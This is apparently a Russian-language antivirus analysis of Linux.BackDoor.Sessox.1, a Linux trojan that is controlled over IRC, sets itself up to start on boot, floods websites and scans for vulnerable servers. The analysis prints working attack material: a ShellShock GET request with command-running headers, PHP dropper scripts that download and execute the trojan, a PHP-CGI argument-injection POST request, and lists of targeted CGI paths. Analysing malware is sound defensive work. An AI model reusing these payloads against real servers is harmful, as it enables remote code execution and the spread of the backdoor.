Троянец-бэкдор для ОС Linux, получающий команды от злоумышленников с помощью чат-сервера, поддерживающего протокол IRC (Internet Relay Chat). Запустившись на инфицированном компьютере, регистрирует себя в автозагрузке с использованием файла "/etc/init.d/rc.local" или, в случае отсутствия указанного файла, "/etc/rc.conf". Затем читает содержимое своего исполняемого файла "/tmp/Help1", шифрует его с использованием алгоритма base64 и сохраняет в файл "/tmp/Help1.z". Проделывает то же самое для файлов "/tmp/Help2" и "/tmp/Help2.z". Затем устанавливает соединение с управляющим сервером, пересылая ему запрос:
PASS %pass%\nNICK %nick%\nUSER %user% localhost localhost :%uptime%\n
где %pass% - "44", %nick%, %user%, %uptime% — строки, сформированные следующим способом:
char *GetUptime()
{
char *szUptime;
signed int i;
struct sysinfo info;
szUptime = (char *)malloc(0x15u);
i = 0;
memset(szUptime, 0, 0x15u);
do
szUptime[i++] = rand() % 26 + 'A';
while ( i < 20 );
*szUptime = 'm';
szUptime[1] = 'u';
szUptime[2] = 'm';
szUptime[3] = 'u';
szUptime[4] = '-';
sysinfo(&info);
if ( info.uptime > 0xD2F00 )
{
szUptime[5] = '[';
szUptime[6] = '1';
szUptime[7] = '0';
szUptime[8] = ']';
szUptime[9] = '-';
if ( info.uptime > 0x1A5E00 )
{
szUptime[6] = '2';
if ( info.uptime > 0x278D00 )
{
szUptime[6] = '3';
if ( info.uptime > 0x34BC00 )
{
szUptime[6] = '4';
if ( info.uptime > 0x41EB00 )
{
szUptime[6] = '5';
if ( info.uptime > 0x4F1A00 )
{
szUptime[6] = '6';
if ( info.uptime > 0x5C4900 )
{
szUptime[6] = '7';
if ( info.uptime > 0x697800 )
{
szUptime[6] = '8';
if ( info.uptime > 0x76A700 )
{
szUptime[6] = '9';
if ( info.uptime > 0x83D600 )
{
szUptime[6] = '1';
szUptime[8] = '0';
szUptime[9] = ']';
szUptime[10] = '-';
if ( info.uptime > 0xC5C100 )
{
szUptime[7] = '5';
if ( info.uptime > 0x107AC00 )
{
szUptime[6] = '2';
szUptime[7] = '0';
if ( info.uptime > 0x18B8200 )
{
szUptime[6] = '3';
if ( info.uptime > 0x20F5800 )
{
szUptime[6] = '4';
if ( info.uptime > 0x2932E00 )
szUptime[6] = '5';
}
}
}
}
}
}
}
}
}
}
}
}
}
}
return szUptime;
}
Способен выполнять следующие команды:
Команда | Значение |
---|---|
376 | Установить режим и зайти на канал в IRC |
433 | передать на IRC-канал информацию о времени работы инфицированной машины (аптайм) |
422 | Установить режим и зайти на канал в IRC |
PING | Отправить ответ PONG |
NICK | Сменить nick на указанный в команде |
PRIVMSG | Выполнить одну из специальных функций (перечислены ниже) |
Специальные функции:
Команда | Значение |
---|---|
PHPSCAN | Начать сканирование PHP-сценариев (PHP Scanner) |
SOCKS5 | Запустить прокси-сервер (SOCKS5 Proxy) |
SSSCAN | Начать сканирование на наличие ShellShock-уязвимости (ShellShock Scanner) |
WEBDOS | Начать атаку на заданный сайт с использованием повторяющихся GET-запросов (HTTP Flooder) |
Троянец способен атаковать заданный злоумышленниками веб-узел Интернета путем отправки на него повторяющихся GET-запросов. Также по команде Linux.BackDoor.Sessox.1 может выполнять сканирование атакуемого сервера на наличие ShellShock-уязвимости, которая позволяет удаленно выполнить на этом сервере произвольный код. Троянец имеет список файлов, которые подставляются в GET-запрос:
/cgi-sys/entropysearch.cgi
/cgi-sys/defaultwebpage.cgi
/cgi-mod/index.cgi
/cgi-bin/test.cgi
/cgi-bin-sdb/printenv
/admin.cgi
/cgi-bin/bash
/cgi-bin/hello
/cgi-bin/helpme
/cgi-bin/info.sh
/cgi-bin/php5-cli?
/cgi-bin/php5?
/cgi-bin/test-cgi
/cgi-bin/test.sh
/cgi-sys/guestbook.cgi
/cgi-sys/php5?
/phppath/cgi_wrapper?
/phppath/php?
/tmUnblock.cgi
/cgi-bin/contact.cgi
/cgi-bin/defaultwebpage.cgi
/cgi-bin/env.cgi
/cgi-bin/forum.cgi
/cgi-bin/hello.cgi
/cgi-bin/index.cgi
/cgi-bin/login.cgi
/cgi-bin/main.cgi
/cgi-bin/meme.cgi
/cgi-bin/recent.cgi
/cgi-bin/sat-ir-web.pl
/cgi-bin/signon.cgi
/cgi-bin/test-cgi.pl
/cgi-bin/tools/tools.pl
/phppath/cgi_wrapper
/phppath/php
/cgi-sys/FormMail-clone.cgi
/xul/
/gitweb/
/gitweb.cgi
/cgi-bin/
/cgi-bin/php
/cgi-bin/php5
/cgi-bin/php4
/cgi-bin/php-cgi
/cgi-bin/php.cgi
/cgi-bin/firmwarecfg
/cgi-bin/%2f/admin.html
/cgi-bin/admin.html
/sys-cgi
/cgi-bin/tree.php
/cgi-bin/w3mman2html.cgi
/cgi-bin/status/status.cgi
В качестве полезной нагрузки при выполнении запросов используется следующий сценарий:
$a = \"%s\";
$b = \"%s\";
$c = sys_get_temp_dir();
$d = \"%s\";
$e = \"%s\";
$f = \"chmod 777\";
$g = \"file_put_contents\";
$h = \"system\";
$i = \"file_exists\";
$j = \"fopen\";
if ($i($c . \"/$d\"))
{
exit(1);
}else{
echo($c);
$g(\"$c/$d\", $j(\"$a\", \"r\"));
$g(\"$c/$e\", $j(\"$b\", \"r\"));
$h(\"$f \" . $c .\"/$d\");
$h(\"$f \" . $c .\"/$e\");
$h($c . \"/$d\");
$h($c . \"/$e\");
}
В этот скрипт в качестве значений переменных a, b подставляются ссылки на скачивание файлов троянца, а в качестве значений переменных d, e — имена, под которыми данные файлы нужно сохранить.
Из этих данных генерируется следующий GET-запрос:
GET %file% HTTP/1.0\r\nCookie: () { :;} ;echo;/usr/bin/php -r %script%\r\nReferer: () { :;} ;echo;/usr/local/bin/php -r %script%\r\n\r\n
где вместо %file% в цикле перебираются все варианты из списка, а %script% — это указанный выше скрипт. В качестве хоста для получения GET-запросов генерируется случайный IP-адрес.
Схожим образом вредоносная программа может осуществлять сканирование PHP-сценариев с помощью специальным образом сформированных POST-запросов с аналогичной целью — запуск на уязвимом сервере стороннего скрипта. В качестве хоста-получателя выбирается случайно сформированный IP-адрес. Для формирования POST-запроса используется следующий сценарий:
<?php
$bufferf = '%s';
$bufferf2 = '%s';
$a = sys_get_temp_dir();
$b = \"%s\";
$c = \"%s\";
$d = \"chmod 777\";
$e = \"system\";
$f = \"file_put_contents\";
$g = \"base64_decode\";
$h = \"chmod\";\n$i = \"file_exists\";
if ($i($a . \"/$c\"))
{
exit(1);
}else{
echo($a);
$bufferf = $g($bufferf);
$bufferf2 = $g($bufferf2);
$f(\"$a/$b\", $bufferf);
$f(\"$a/$c\", $bufferf2);
$h ($a.\"/\".$b,0777);
$e(\"$d \" . $a .\"/$b\");
$h ($a.\"/\".$c,0777);
$e(\"$d \" . $a .\"/$c\");
$e($a . \"/$c\");
$e($a . \"/$b\");
exit(1);
}
?>
где в значения переменных bufferf, bufferf2 подставляются данные из файлов /tmp/Help1.z, /tmp/Help2.z соответственно (тело бэкдора в base64), а в значение b,c - "Help1", "Help2".
Файлы, которым может отправляться запрос:
/cgi-bin/php
/cgi-bin/php5
/cgi-bin/php-cgi
/cgi-bin/php5-cgi
/cgi-bin/php-cgi.bin
Далее данный скрипт подставляется в POST-запрос:
POST %file%?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73%%5F%%65%%6E%%76%%3D%%22%%79%%65%%73%%22+%%2D%%64+%%63%%67%%69%%2E%%66%%69%%78%%5F%%70%%61%%74%%68%%69%%6E%%66%%6F%%3D%%31+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%6E HTTP/1.1\r\nHost: %ip%\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %len%\r\nConnection: close\r\n\r\n%script%
где %file% - файл из списка выше, %ip% - случайный IP-адрес, %len% - размер скрипта, %script% - приведенный выше сценарий.